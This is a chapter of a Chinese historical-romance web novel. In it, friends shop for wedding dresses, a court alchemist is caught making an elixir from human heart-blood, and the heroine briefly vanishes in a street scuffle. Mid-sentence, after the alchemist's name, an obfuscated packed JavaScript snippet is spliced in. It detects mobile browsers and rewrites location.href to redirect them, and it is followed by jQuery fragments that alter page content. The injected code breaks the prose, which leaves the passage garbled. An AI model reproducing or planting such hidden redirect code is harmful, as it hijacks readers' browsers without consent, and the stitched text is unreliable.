隔日,天依旧灰蒙蒙一片。
江砚珩去见了牢里的白玟,因淑妃为其求情,陛下念在她尽职尽责,并未将人流放,见过白玟后,他回了府中一趟,向夫人报备自己的去向。
“洛云观?”纪宁萱有些担忧,低眉垂眼,看着可怜巴巴的,“他们藏在暗处,若是偷袭你怎么办?”
江砚珩笑着抚平她蹙起的眉头,“不是我一个人,遇到危险会有人接应的,这两日怎么总是不太开心的样子?”
“有吗?”纪宁萱环着他的腰,眼球转来转去,忽地踮起脚尖在他唇上亲了一口,促狭一笑:“这样就开心啦。”
江砚珩眉头轻扬,宠溺地看着小姑娘。
“哎呀呀,我什么都没看到。”江思晗趴在门边,从指缝里露出一双眼,笑嘻嘻道:“嫂嫂我们走吧,蓉蓉在霓裳坊等我们。”
霓裳坊,京城最有名的衣裳铺子,掌柜的心灵手巧,缝制的衣裙款式新颖别致,不少世家贵女都从这家店铺定制新衣,一来二去这名声也就打出来了。
尤蓉蓉自然也选择这家店铺定做嫁衣。
“蓉蓉你纠结好了没啊?伯母不是说你和李将军的婚事由宫里操办,让宫里给你做嫁衣,多省事。”
等了许久的江思晗百无聊赖,打着哈欠,一大早就起来陪着蓉蓉选嫁衣,她还没睡醒呢。
“那不一样,婚嫁是人生大事,人生第一次,我想自己选,得慎重些。”
尤蓉蓉看着掌柜的给出的两件嫁衣款式,摇摆不定,“小晗你帮我选选呀。”
江思晗摸着下巴,冒出个歪主意:“那掷骰子吧,一三五选左边这件,二四六选右边这件。”
适才还在说慎重的尤蓉蓉思考了一瞬,喜道:“这个主意好!我们看天意。”
两个姑娘在二楼选嫁衣,纪宁萱则是被表兄拉着在一楼转,琳琅满目的珠钗首饰看得人眼花缭乱。
卓恒不禁感叹真不愧是京城最有名的霓裳坊,这做工不知比他们那里精致了多少倍。
“小满想要什么随便选,表兄全给你买,表兄来京城别的没带就银票带的多。”
卓恒财大气粗,大手一挥,“这个,这个,还有这个都要了。”
姑娘家的东西他也不会挑,瞅着好看的就喊店小二包起来。
“好嘞!”店小二喜滋滋地忙前忙后。
纪宁萱忙拦着表兄,无奈又好笑,但心里还是欢喜的,“表兄,你买这么多我戴不完啊。”
“怎么戴不完,一天换一样就好了,女孩家家的就该打扮得漂亮些,你往年生辰我们都不在,算表兄给你补上的,也是替羽宸补上的。”
卓恒笑眯眯地继续挑选:“这个好看,还有那个也要了。”
只选些首饰卓恒觉得还不够,又拽着人去旁边的铺子买零嘴,不一会儿,王府的马车堆了一大半吃的玩的。
刚从一家果铺出来,卓恒冷不丁打了个喷嚏,嘟囔着:“这天看着要下雪啊。”
他又看见前面一个卖红薯的老伯,亮了眼:“天冷,正好我们围一起烤火煨红薯啊,小满先回霓裳坊等我,我去买些红薯。”
纪宁萱抱着一小袋果脯正分给雪翎和落雪,一扭头见人大步流星地朝前走,忙喊道:“表兄可记得路?”
卓恒:“一条街,还不至于迷路,放心吧。”
纪宁萱笑笑,看着表兄的背影,心头涌上一股不知名的情绪,弄得她鼻头酸酸的,竟是红了眼眶。
落雪心下一慌,着急道:“夫人您怎么了?怎么看着要哭了?”
纪宁萱深吸一口气,压下低落的情绪,“没什么,只是有点想哥哥了。”
哥哥离开的太久,久到她都记不清哥哥的模样了。
末了,她塞进口中一个蜜果心情才好了许多,不知怎的最近心情总是莫名其妙,动不动就想落泪。
三人回霓裳坊的路上,碰巧遇到了出来闲逛的江眠,江眠买了些酸橘,酸梅子,山楂糕,全是酸的,纪宁萱光看着就觉得牙酸倒了一半。
她问:“我记得你之前不喜欢吃这些酸的东西,现在换口味了?”
江眠小脸一热:“不是我,是肚子里的小家伙喜欢吃,那日回去后没几日,我就胃口不佳,只想吃些酸的,医师诊脉是喜脉。”
纪宁萱愣了愣,反应过来后又惊又喜:“洛云观还真是灵验,不过才几日,眠眠居然要做母亲了,汐汐知道了肯定要大惊小怪一番。”
江眠也觉得不可思议,对成为一位母亲既期待又害怕,当然还是期待更多,她笑道:“就数她还是一个人,待她回来咱俩就替陆伯母催她。”
“对了,那日从洛云观回去,许姐姐与婆母争执了一番。”提到此事,江眠不免多叹了几口气,“许姐姐决心去洛云观度过余生,不想嫁人,婆母拗不过许姐姐就任她去了,要不萱萱去劝一劝许姐姐……”
青灯古佛,了此一生,是许乐姝深思熟虑后的结果,她做不到忘了阿宸,也做不到心里装着一个人却与另一个陌生男子扮作恩爱夫妻。
与其浑浑噩噩过后半辈子,不如在观内祈福积德,若是得神佛怜悯,二人来生可再续前缘。
纪宁萱忽然觉得口中的蜜果索然无味,甚至苦涩了许多,“劝不了的,我们谁都不是许姐姐,她既然决定了,我们就不要再逼她了。”
设身处地想一想,换作她,她也放不下,如若江砚珩剿匪时出了事,她甚至不一定会有勇气继续活下去。
“好,那就不劝了,大不了我们经常去找许姐姐就好了,萱萱还是多笑笑,愁眉苦脸可不好看。”
江眠话锋一转:“你和世子哥哥努努力呀,我们孩子的娃娃亲可就差你这一步了。”
这次换纪宁萱脸红了,“这……这事随缘,急不得。”
—
曙光司。
凌云禀报:“殿下,我们的人观察过了,罗明方士几乎不踏出房门,一心炼丹,能进出他房间的只有一位老道士,我们的人混进去查探得知,罗明方士房间内有暗室,但怕打草惊蛇,并未冒然进去。”
尤钰面色凝重:“你伤势刚好,要亲自去查探暗室?”
江砚珩淡声道:“元七说过庄三在观内替人做事,敢掺和皇家之事的人,也就只有铩羽楼了,而且这次祭祀礼六皇子一定会有所行动。”
尤钰震惊:“你是说他会借此除掉太子?难道铩羽楼的人埋伏在洛云观?他们可真是胆大包天。”
常言道计划赶不上变化,两人还未行动,倒是曙光卫先来急忙禀报:“指挥使,叶大人派人来报,洛云观出现死尸数具,方士指认是受太子指使。”
江砚珩和尤钰皆是面色一僵。
一行人到了洛云观,只见地上尸体数具,皆是从那暗室中抬出来的,散发着阵阵尸臭,不少在场围观的百姓七嘴八舌地议论着,有受不了的,被熏得一阵呕吐。
罗明方士
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272738|156868||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被侍卫按着跪倒在地,疯疯癫癫地大喊:“长生不老丹我马上就要练成了,你们这群无知小儿,胆敢阻挡我为陛下炼丹!”
有人愤愤不平:“用人命炼丹,丧心病狂!”
罗明方士瞪着眼看向那人:“你懂什么!这是仙术,只要以人的心头血为药引,此丹必成。”
百姓惊呼:“心头血,我记得这不是长公主为救她的孩子用的邪术吗?听说那孩子最后也死了,什么破仙丹,是毒药吧!”
一提到长公主,众人神色惊恐,有人大喊:“所以真是太子!太子为了让方士练就长生不老丹居然不惜谋害自己的长姐,草芥人命,这样的储君怎能堪当大任,我们百姓可不能供养这样的君主!”
此话一出,引起一阵轩然大波,百姓人心惶惶,纷纷开始猜测此事是否是陛下授意,为了长生不老不择手段。
叶知非看向江砚珩,轻轻颔首:“此人便交由世子审问,涉及太子殿下,我即刻进宫将此事禀报给陛下。”
江砚珩深深看他一眼,脸色冷的像雪山之巅上万年不化的冰雪,他冷声吩咐凌云:“把人带回去,严加审问。”
—
这厢,冤家路窄。
纪宁萱回府途中,遇到了到处闲逛的三公主,江灵拿着白花花的银子挥霍无度,好似花钱才能解心中郁闷,得知李风阑求了赐婚她本就气不顺,此时遇到她们更是恼怒。
她就不明白了,自己堂堂公主哪点比不上一个侯府小姐了,李风阑简直是有眼无珠!
一条宽道两辆马车并道而行都绰绰有余,偏偏江灵要跟她们对着干,她们的马车往右移,她也往右,她们往左,她也往左。
江灵站在马车上,高傲道:“这路太窄过不开,你们飞过去吧。”
“公主就能仗势欺人了?”卓恒急脾气上来,撸着袖子一副要干架的样子。
纪宁萱忙不迭下了马车,拦着表兄,无奈问:“三公主想如何?”
江灵瞥她一眼,跳下了马车:“上次喝的不尽兴,你陪我去喝酒,我就让你们过去。”
纪宁萱回答的快速且决绝:“不喝。”
“你敢拒绝我?”
江灵怒火中烧,正要上前强硬地把人带走。
突然,不知哪里窜出来两匹发狂的马冲了过来,后面侍卫也跟着跑过来,喊道:“让开让开,马发狂了!”
卓恒见状飞身上前骑到了马背上,制止马在街上狂奔,人群霎时惊慌地四处逃窜,一下子冲散了纪宁萱与落雪,雪翎三人。
落雪着急唤道:“夫人!”
雪翎也跟着喊:“萱姐姐!”
天色昏暗,街上的灯盏适才亮起,两人只得踮着脚尖去看,却没看到人在哪,有过面具人那次经历,两人顿时心提到了嗓子眼。
江思晗和尤蓉蓉也忙下了马车找人。
江思晗急得冒汗:“就这么点地方,怎么突然不见了?”
她看向江灵,江灵对上她的眼神,嗤了一声:“看我干什么,大街上我还能把她绑了不成?真是出门不顺,本公主自己去喝酒。”
过了好一会儿,卓恒把马交给追赶的侍卫后才折返回来,没见到表妹,他问:“小满呢?”
“我在这。”
纪宁萱拍拍衣裙,对上几人焦急的神色,微笑着解释:“方才吓到了,我就躲到一旁了。”
看到安好无虞的夫人,落雪,雪翎这才猛松了口气。